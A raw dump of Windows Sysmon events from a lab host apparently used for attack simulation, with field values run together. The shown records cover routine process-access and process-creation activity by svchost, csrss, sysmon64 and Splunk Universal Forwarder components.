Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014229Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014228Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014227Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014226Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014225Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014224Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014223Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014222Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014221Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6FC8-613B-A404-00000000F101}2472C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014220Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014219Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.892{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FC8-613B-A404-00000000F101}2472C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014218Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.893{625C326B-6FC8-613B-A404-00000000F101}2472C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014217Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6CC5D6C6C04551E1C08281CADEA43B1F,SHA256=99525151DE352B2DBDA58578D032A3E812752128920E2D91C8F224DD81372322,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014216Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B55079C21B3CA5B661AF5AAFC96300C2,SHA256=A165DE6EC5F523BFE835428E7376F0C719FCDECA439D23C438115DE9BE9A64C8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014215Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.424{625C326B-6FC8-613B-A304-00000000F101}9042576C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014214Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6FC8-613B-A304-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014213Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014212Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014211Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014210Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014209Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014208Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014207Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014206Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014205Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014204Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6FC8-613B-A304-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014203Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:32.220{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6FC8-613B-A304-00000000F101}904C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 